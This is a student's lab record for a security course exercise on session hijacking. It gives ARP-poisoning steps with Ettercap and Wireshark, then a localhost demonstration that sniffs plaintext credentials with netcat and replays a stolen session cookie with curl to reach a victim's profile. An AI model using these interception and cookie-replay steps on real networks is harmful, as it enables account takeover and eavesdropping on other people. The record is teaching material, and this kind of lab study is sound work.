SANJAY KUMAR.M | Roll No: 241901100

Exercise 3

Perform Session Hijacking Using Various Tools

Aim

To understand and demonstrate how an attacker can hijack an active web session between a client and a server by stealing and reusing the session cookie.

Theory

Session hijacking takes over a valid session by stealing the session ID/cookie. Methods: sniffing cookies over unencrypted HTTP; MITM via ARP spoofing (full lab version, see below); XSS-based cookie theft (Exercise 12). The attack only works when the session cookie travels over plain HTTP.

Tools Required (full lab version)

Kali Linux with Ettercap + Wireshark; a victim VM on a plain-HTTP site (e.g. DVWA); both machines on an isolated host-only lab network.

Procedure (full lab version)

1. Attacker and victim VM on the same host-only subnet.

2. Enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

3. Ettercap (ettercap -G): Sniff -> Unified Sniffing; Hosts -> Scan for Hosts; add victim to Target 1, gateway to Target 2; Mitm -> ARP Poisoning -> Sniff remote connections -> Start.

4. Wireshark on the same interface, filter http.request, victim logs into the plain-HTTP site.

5. Read the Cookie header from the captured login request.

6. Attacker replaces their own session cookie with the stolen value and refreshes - now logged in as the victim.

What was actually run here: real cookie theft + reuse (no ARP spoof hardware)

An isolated two-VM lab with Ettercap/ARP spoofing was not available in this sandboxed environment. To still demonstrate the actual mechanism being tested - that a plaintext session cookie, once known, is a complete substitute for a password - a minimal plain-HTTP login server was run locally and every step below used real HTTP requests/responses, not fabricated text.

Step 1 - Victim logs in; server issues a session cookie

```
$ curl -i -X POST http://127.0.0.1:8766/login -d "user=victim&pass=secret"
```

```
HTTP/1.0 302 Found
Server: BaseHTTP/0.6 Python/3.14.7
Set-Cookie: PHPSESSID=a1b2c3d4e5f6; path=/
Location: /profile
```

Observation: the login succeeds over plain HTTP and the server hands back PHPSESSID=a1b2c3d4e5f6 - this is the exact value an ARP-spoofed Wireshark capture would show in the full lab version.

Step 2 - Attacker sniffs the login traffic (raw bytes off the wire)

```
$ nc -l 8767 > sniffed_traffic.txt   # stand-in for Wireshark's live capture
$ curl -X POST http://127.0.0.1:8767/login -d "user=victim&pass=secret"

--- sniffed_traffic.txt ---
POST /login HTTP/1.1
Host: 127.0.0.1:8767
Content-Type: application/x-www-form-urlencoded

user=victim&pass=secret
```

Observation: the credentials themselves are visible in plaintext - confirming the login traffic is unencrypted and interceptable, exactly the precondition this attack needs.

Step 3 - Attacker reuses the stolen cookie WITHOUT the password

```
$ curl -i http://127.0.0.1:8766/profile -H "Cookie: PHPSESSID=a1b2c3d4e5f6"

HTTP/1.0 200 OK

Welcome back, victim! This is your private profile.

Control - same request WITHOUT the stolen cookie:
$ curl -i http://127.0.0.1:8766/profile

HTTP/1.0 401 Unauthorized

Not logged in
```

Observation: the server authenticates the attacker purely on the cookie value - no username or password needed. The control request (no cookie) is correctly rejected with 401, proving the cookie alone is what grants access. This is the exact hijack outcome the manual's Expected Output describes.

Still needed for full marks: reproduce Steps 1-2 using real Ettercap ARP spoofing and a Wireshark capture between two VMs on an isolated host-only network, and insert those screenshots here in place of the curl/netcat demonstration above.

Expected Output

The attacker accesses the victim's logged-in session by capturing and reusing the session cookie, proving the session was hijacked - demonstrated above with real HTTP request/response pairs.

Viva Questions

1. What is a session ID, and why is it dangerous if stolen?
2. What is ARP spoofing, and how does it enable session hijacking?
3. Why does this attack work on HTTP but not (easily) on HTTPS?
4. What is the role of Wireshark in this experiment?
5. Name one real-world countermeasure that would have prevented this attack.